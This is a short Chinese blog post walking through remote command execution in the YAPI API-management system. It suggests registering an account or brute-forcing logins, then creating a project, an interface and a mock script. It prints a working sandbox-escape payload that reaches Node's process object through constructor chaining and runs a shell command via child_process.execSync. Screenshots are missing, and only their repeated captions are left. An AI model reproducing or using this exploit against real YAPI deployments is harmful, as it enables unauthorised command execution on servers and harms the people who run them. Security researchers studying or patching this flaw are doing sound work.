【实战】YAPI系统远程命令执行漏洞

注册或者爆破获取用户登录权限登陆系统:

添加项目:

【实战】YAPI系统远程命令执行漏洞

 

 添加接口

【实战】YAPI系统远程命令执行漏洞

 

 添加mock脚本:

payload:

const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami").toString()

 

【实战】YAPI系统远程命令执行漏洞

预览里访问接口

【实战】YAPI系统远程命令执行漏洞

 

 【实战】YAPI系统远程命令执行漏洞

 

上一篇:深入方法(22)- 指针参数


下一篇:深入方法(24)- 方法是一个指针